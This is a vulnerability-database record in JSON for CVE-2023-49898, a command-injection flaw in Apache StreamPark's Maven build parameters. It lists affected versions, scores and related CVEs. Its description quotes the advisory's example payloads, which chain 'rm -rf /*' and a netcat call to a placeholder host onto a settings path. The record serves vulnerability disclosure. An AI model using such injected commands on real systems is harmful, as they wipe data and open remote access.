{"id":"CVE-2023-49898","published":"2023-12-15T12:13:25Z","modified":"2024-08-02T22:09:49Z","title":"Apache StreamPark (incubating): Authenticated system users could trigger remote command execution","vendor":"Apache","product":"Apache StreamPark (incubating)","tier":"tail","description":{"text":"In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users should upgrade to 2.1.2\n\nExample:\n\n##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use \"||\" or \"&&\":\n\n/usr/share/java/maven-3/conf/settings.xml || rm -rf /*\n\n/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &\n\n","provenance":"source","from":"CVE.org"},"cvss":null,"epss":{"score":0.02299,"percentile":0.83709,"provenance":"source"},"cwes":[{"id":"CWE-77","name":"Improper Neutralization of Special Elements used in a Command"}],"references":[{"url":"https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3","tags":["vendor-advisory"]}],"priority":{"score":16.7,"factors":[{"name":"EPSS percentile","points":16.74}]},"vendorSlug":"apache","affectedVersions":[{"vendor":"Apache Software Foundation","product":"Apache StreamPark (incubating)","versions":[">= 2.0.0, < 2.1.2"]}],"affected":[{"ecosystem":"Maven","package":"org.apache.streampark:streampark","vulnerableRanges":[">=2.0.0, <2.1.2"],"patched":["2.1.2"],"from":["GHSA-qg44-xqwj-wc28"],"provenance":"source"}],"summary":{"text":"Apache StreamPark (incubating) contains a command injection flaw in its project module, which integrates Maven's compilation capability, because the Maven compilation parameters are not validated. An attacker who is logged in to StreamPark with system-level permissions can insert shell commands into those parameters to achieve remote command execution.","provenance":"ai","model":"claude-haiku-5-5","generatedAt":"2026-11-20T21:33:58Z"},"euvd":{"id":"EUVD-2023-3269","exploited":false,"provenance":"source"},"lineage":{"packageHistory":[{"cve":"CVE-2022-45801","published":"2023-05-01","fixed":"2.0.0","kev":false},{"cve":"CVE-2022-46365","published":"2023-05-01","fixed":"2.0.0","kev":false,"link":{"from":"CVE-2022-46365","to":"CVE-2023-49898","relation":"successor","confidence":"low","kind":"sequence","evidence":[{"kind":"version-step","provenance":"source","package":"Maven:org.apache.streampark:streampark","fromFixed":"2.0.0","toFixed":"2.1.2","daysApart":228}]}},{"cve":"CVE-2023-30867","published":"2023-12-15","fixed":"2.1.2","kev":false},{"cve":"CVE-2023-49898","published":"2023-12-15","fixed":"2.1.2","kev":false},{"cve":"CVE-2023-52291","published":"2024-07-17","fixed":"2.1.4","kev":false},{"cve":"CVE-2024-29120","published":"2024-07-17","fixed":"2.1.4","kev":false},{"cve":"CVE-2024-29178","published":"2024-07-18","fixed":"2.1.4","kev":false}],"package":"Maven:org.apache.streampark:streampark"}}